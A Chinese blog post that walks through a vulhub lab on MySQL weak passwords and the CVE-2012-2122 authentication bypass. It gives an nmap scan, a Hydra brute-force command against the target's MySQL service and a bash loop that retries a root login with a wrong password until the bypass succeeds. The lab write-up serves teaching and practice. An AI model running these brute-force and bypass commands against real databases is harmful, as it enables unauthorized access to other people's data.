首页 > 数据库 >mysql弱密码爆破

mysql弱密码爆破

时间:2024-10-28 20:08:52浏览次数:6  
标签:2122 爆破 密码 mysql 靶机 2012

mySQL弱密码

 靶场:/vulhub/mysql/CVE-2012-2122

 启动:

docker-compose up -d

扫描端口

nmap -Sv -Pn -T4 靶机ip

 看到在3306端口开启了mysql服务

image-20241028185543333

爆破账号密码

 1.使用超级弱口令检测工具(github下载)

 爆破出root/123456

image-20241028185847255

 2.使用Hydra爆破

hydra -L 用户名字典 —P 密码字典 靶机IP mysql -f
image-20241028190201205

连接数据库

 除了存在弱口令,该版本还存在身份认证绕过漏洞(CVE-2012-2122)

  原理:

	当连接MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
	也就是说只要知道用户名,不需要知道密码不断尝试爆破就能够直接登入SQL数据库。

 payload(根据实际修改seq产生的值多少):

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 靶机IP -P3306 ; done

 成功登录!

image-20241028192606474

标签:2122,爆破,密码,mysql,靶机,2012
From: https://www.cnblogs.com/left-shoulder/p/18511384

相关文章

  • MySQL操作
    一.MySQL优点多语言支持:MySQL为C、C++、Python、Java等多种编程语言提供了API,访问和使用方便。可以移植性好:MySQL是跨平台的。支持大量数据查询和存储:MySQL可以承受大量的并发访问。二.MySQL常用命令1.查看当前所有的数据库showdatabases; 2.创建库createdatabase......
  • 【MySql进阶及常见方案】mysql索引底层原理和优化手段
    mysql索引底层原理和优化手段不管业务怎么发展,数据最终都要存储到数据库中,所以数据库是必不可少的一个环节。而随着业务逐渐壮大,并发越来越高,数据库很容易成为整个链路的短板。而调优的第一步,都是从sql语句、索引入手。先得保证单个数据库执行没问题,才会有更高层次的分库......
  • 抖音小程序直播变现:开启流量财富密码
    在当今数字化时代,抖音作为一款极具影响力的短视频平台,不断为用户和创作者提供新的机遇。其中,抖音小程序直播变现成为了众多人关注的焦点,为个人和企业开辟了一条充满潜力的财富之路。一、抖音小程序直播的崛起随着直播行业的持续火热,抖音小程序直播凭借其便捷性、互动性和强......
  • centos中docker安装mysql
    用来记录1先升级yumupdate,遇到问题,解决在上篇centos7yum报错Cannotfindavalidbaseurlforrepo:base/7/x86_642安装docker需要的工具包3配置docker的yum源位置报错,网上查询说是因为国内访问不到docker官方镜像,但是直接在网页里打开连接可以下载,换成阿里云后成......
  • 为什么MySQL单表不能超过2000万行? (1)
    ​最近看到一篇《我说MySQL每张表最好不要超过2000万数据,面试官让我回去等通知》的文章,非常有趣。文中提到,他朋友在面试的过程中说,自己的工作就是把用户操作信息存到MySQL里,因为数据量超大(5000万条左右),需要每天定时生成3张表,然后将数据取模分别存到这三张表里。下面是两人的对......
  • MySQL权限操作
    一、MySQL的权限二、权限用法1.创建用户createuser'admin'@'%'identifiedby'your_password';2.查看用户权限showgrantsfor'admin'@'%';3.授权grantselect,update,insert,deleteondatabase.*to'admin'@'%'......
  • mysql8 gitd 主从复制
    一、master主库1、配置serviceID、开启二进制日志和打开gitd,可以配置中继日志。然后重启mysql。完整配置如下[client]socket=/data/mysql/mysql.sock[mysqld]user=rootdatadir=/data/mysql/databasedir=/data/mysqlsocket=/data/mysql/mysql.sockport=3306#允许最大连......
  • 阿里面试:为什么要索引?什么是MySQL索引?底层结构是什么?
    文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录博客园版为您奉上珍贵的学习资源:免费赠送:《尼恩Java面试宝典》持续更新+史上最全+面试必备2000页+面试必备+大厂必备+涨薪必备免费赠送:《尼恩技术圣经+高并发系列PDF》,帮你实现技术自由,完成职业升级,薪......
  • mysql的binlog日志格式及其区别
    MySQL的二进制日志(binlog)主要有三种日志格式:STATEMENT、ROW和MIXED。它们之间的主要区别在于记录的内容和适用场景。STATEMENT(语句格式):内容:记录所有更改数据的SQL语句。特点:通过重放这些语句来恢复数据。优点:日志文件小,易于理解和审计。缺点:在某些情况下(如使......
  • 我们来学mysql -- 用不上的索引(原理版)
    我们来学mysql--用不上的索引你行你上一张表一段有脑洞的阐述用不上的索引列你行你上轻松拿捏了两篇《使用索引》和《索引失效》知识点索引真是太香了,看的哈喇子都流出来了,必须给安排上在盲目的自信加持下,大刀阔斧的进行改革,为sql语句条件中的各个列创建索引一......